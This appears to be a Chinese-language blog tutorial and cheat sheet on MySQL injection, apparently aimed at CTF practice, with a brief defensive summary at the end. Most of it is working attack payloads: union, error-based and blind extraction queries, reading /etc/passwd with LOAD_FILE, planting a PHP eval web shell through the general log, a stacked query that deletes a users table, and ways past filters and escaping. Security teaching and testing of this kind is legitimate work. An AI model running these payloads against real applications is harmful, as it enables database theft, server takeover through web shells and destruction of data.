MySQL 注入完整指南
MySQL 注入完整指南
什么是 SQL 注入
SQL 注入是一种将 SQL 代码插入或添加到应用的输入参数中的攻击,之后再将这些参数传递给后台的 SQL 服务加以解析并执行。
凡是构造 SQL 语句的步骤均存在被潜在攻击的风险。SQL 注入的主要方式是直接将代码插入参数中,这些参数会被置入 SQL 命令中加以执行。
SQL 注入产生的条件:用户控制了 SQL 语句的一部分,用户的输入不再是一个输入参数,而成为了符合语法的 SQL 语句。
SQL 注入的类型
按数据结构划分:
- 数字型:
"select * from product where id = ". $_GET['id'] - 字符型:
"select * from person_info where username='" . $_GET['name']."'"
按回显方式划分:
有回显:
- 联合查询 -> 构造联合查询语句,直接查看查询结果
- 报错注入 -> 构造报错语句,在报错中查看结果
- 堆查询 -> 多行语句执行,进而实现想要达到的目的
无回显:
- 盲注 -> 布尔型/时间型 通过某种手段”爆破”结果
一、联合查询注入
1. 判断是否存在注入,字符型还是数字型
整数型: 1 and 1=1(正确)1 and 1=2(错误)
字符型: 1' and 1=1 --+(正确)1' and 1=2 --+(错误)
注:--+ 为注释可用 --(空格)或者 # 代替
2. 猜解 SQL 查询语句中的字段数
使用后面拼接 order by(数字)# 进行猜解
3. 确定显示的字段顺序
1' union select 1,2 #
4. 获取当前数据库的表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
group_concat(): 用于将输出合并到一行
group_concat() 被屏蔽时可使用 limit 进行逐行输出
5. 获取表中字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
6. 获取字段内容
1' union select 1,2,group_concat(password) from ctfshow_user2
补充:获取数据库名
1' union select 1,2,group_concat(schema_name) from information_schema.schemata
二、报错注入
一般前提:union 被过滤时
exp()
exp(~(select * from(select user())a))
# ~符号为运算符,意思为一元字符反转
exp(710-(表达式))#真不报错,假报错
适用版本:5.5.5~5.5.49
还有类似的函数如 pow(), abs(), cot():
pow(1+(表达式),99999999999)
cot(表达式)
updatexml
updatexml(1,concat(0x7e,(select user()),0x7e),1)
#0x7e为~
#使用版本5.1.5+
extractvalue
extractvalue(1,concat(0x7e,(select user()),0x7e))
rand()+group()+count()
select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a;
几何函数
GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
polygon():id=1 AND polygon((select * from(select * from(select user())a)b))
multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))
linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon():id=1 AND multipolygon((select * from(select * from(select user())a)b))
三、布尔盲注
盲注分类
布尔盲注: 回显不同
时间盲注: 响应时间不同
布尔状态例如:
- 回显不同(内容、长度)
- HTTP 响应状态码不同(200、500)
- HTTP 响应头变化(无条件重定向、设置 cookie)
- 基于错误的布尔注入(MySQL 是否报错)
布尔盲注判断:
id=2333' and 1=1%23 (正确状态)
id=2333' and 1=2%23 (错误状态)
id=2333' and ascii(substring((select database()),1,1))>-1%23 (正确状态)
id=2333' and ascii(substring((select database()),1,1))>127%23 (错误状态)
注:url 中不能直接使用 &、#,需要使用对应的 url 编码
字符串截取方法
- substr()与substring()
SUBSTR (str, pos, len) 过滤了逗号时可用 SUBSTR (str FROM pos FOR len) 替代
- right()
两个参数,配合 ascii() 可以从右往左逐词爆破
ascii() 可用 ord() 代替
- left()+reverse()
即:reverse(left(‘abc’,2)) 配合 ascii() 即可从左往右逐词爆破
- trim()
TRIM([BOTH/LEADING/TRAILING] 目标字符串 FROM 源字符串)
select Trim(leading 'a' from 'abcd') regexp trim(LEADING 'x' from 'abcd')
#返回0
- insert()
select insert('abcdef',1,1,'');
#bcdef
select insert((insert('abcdef',1,0,'')),2,99999,'');
#a
比较方法
> < =- like:SQL LIKE 子句中使用百分号 % 字符来表示任意字符
- 正则表达式 regexp rlike:regexp 是不区分大小写的,需要大小写敏感需要加上 binary 关键字
- between:
expr [NOT] BETWEEN begin_expr AND end_expr - in:加 binary 可变为大小写敏感
- and / &&:逻辑与运算符
-
**or / **:逻辑或运算符 - Xor:逻辑异或,当 # 与 —+ 被注释时可以考虑
- order by 比较盲注
select * from users where (select 'a' union select substr(group_concat(password),1,1) from users where username='admin' order by 1 limit 1)='a';
四、时间盲注
一般使用 Sleep() 函数
1' and sleep(10) --+
#判断有无延时
if() 函数
if() 函数有三个参数,其用法为 if(a,b,c)
- 第一个参数 a:判断语句,返回结果为真假
- 第二个参数 b:如果前面的判断返回为真,则执行 b
- 第三个参数 c:如果前面的判断返回为假,则执行 c
case() 函数
select case 'a' when 'a' then 1 else 0 end
#返回1
过滤了 sleep 时
- benchmark
select benchmark(1e7,sha1('gehaotian'))#约要1.5秒
select benchmark(1000000,md5('gehaotian'))#约要1.5秒
- 笛卡尔积
select count(*) from information_schema.columns A,information_schema.columns B;
#尽量用超时判断
- get_lock
使用场景有限制,需要提供长连接。
需先在一个 session 中锁定:
select get_lock('haptian',1);
在另一个 session 中 get_lock:
select get_lock('haotian',5);
#用时5秒
- 正则表达式
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
五、无列名盲注
获取数据库名和表名
当过滤 in/or 时候,意味着不能继续使用 information_schema 库
1. sys
#查询所有的库
SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema;
SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema;
#查询指定库的表
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='mspwd' GROUP BY table_name;
2. mysql 方法(不过滤 in)
select table_name from mysql.innodb_table_stats where database_name=database();
select table_name from mysql.innodb_index_stats where database_name=database();
无列名盲注方法
1. union 重命名法
select a.2 from (select 1,2,3 union select * from users)a;
#前提是users有三列
2. 比较法
select (select 'admin', '0zzz', 'zzzzzzzzzz')<(select * from users where username='admin' limit 1);
六、文件操作与堆叠注入
MySQL 变量
SHOW VARIABLES;#获取MySQL全局变量
show variables like "%secure_file%";
MySQL 读文件
secure_file_priv
| 当 secure_file_priv 的值为 null,表示限制 mysqld 不允许导入 | 导出。默认是 null |
| 当 secure_file_priv 的值为 /tmp/,表示限制 mysqld 的导入 | 导出只能发生在 /tmp/ 目录下 |
| 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入 | 导出做限制 |
Select load_file('/flag');
SELECT CONVERT(LOAD_FILE("/etc/passwd") USING utf8);
MySQL 写文件
select "<?php phpinfo();?>" into outfile "/tmp/1.php";
select "<?php phpinfo();?>" into dumpfile "/tmp/1.php";
#outfile函数可以导出多行,而dumpfile只能导出一行数据
#outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
当 secure_file_priv 为 NULL:
#堆叠注入
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/789.php';
select '<?php eval($_POST["a"]) ?>';
堆叠注入
MySQL 可以执行多条语句,多条语句之前用 ; 做分隔。
条件: mysqli->multi_query(sql);
select * from users where id =1;delete from users;
七、宽字节注入、二次注入、约束攻击
宽字节注入
宽字节注入主要是源于程序员设置数据库编码与 PHP 编码设置为不同的两个编码。
重点语句:
$conn->query("set names 'gbk';");
用户名输入:admin%df' or 1=1#
函数转义后为: admin%df\' or 1=1#
SET character_set_client ='gbk'后:admin運' or 1=1#
执行语句:... where username='admin運' or 1=1#'
约束攻击
INSERT 语句:截取前 20 个字符 SELECT 语句:输入什么就是什么
二次注入
攻击者构造的恶意 payload 首先会被服务器存储在数据库中,在之后取出数据库在进行 SQL 语句拼接时产生的 SQL 注入问题。
如:留言板修改,密码修改等。
八、SQL 注入绕过技巧
空格过滤绕过
/**/ () %0a ` tap 两个空格
过滤 or and xor not
and = &&
or = ||
xor = |
not = !
过滤 =
1.不加通配符的 like rlike
2.使用大小于号
3.使用!<>,<>相当于!=
过滤大小于号
1.greatest(n1,n2,n3):返回n中的最大值
select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116;
least同,返回最小值
2.strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
3.in
4.between
过滤引号绕过
使用十六进制编码:
select column_name from information_schema.tables where table_name=0x7573657273;
宽字节:
用%df'代替
过滤逗号
1.select substr("string",1,3);
可替换为:select substr("string" from 1 for 3);#从1开始读3个长度的字符串
2.union select 1,2,3
可用join:union select * from (select 1)a join (select 2)b join(select 3)c
过滤 select
- 使用 handler
handler users(表) open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄
- 使用 rename
1';
RENAME TABLE `words` TO `words2`;
RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#
- MySQL 预处理
1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
#prepare后接语句,所以可以使用字符串操作,拼接等
总结
MySQL 注入是 Web 安全中常见的漏洞类型,掌握各种注入方法和绕过技巧对于安全测试和防护都至关重要。在实际应用中,应该:
- 使用参数化查询(Prepared Statements)
- 对用户输入进行严格验证和过滤
- 使用最小权限原则
- 定期进行安全审计和渗透测试
Enjoy Reading This Article?
Here are some more articles you might like to read next: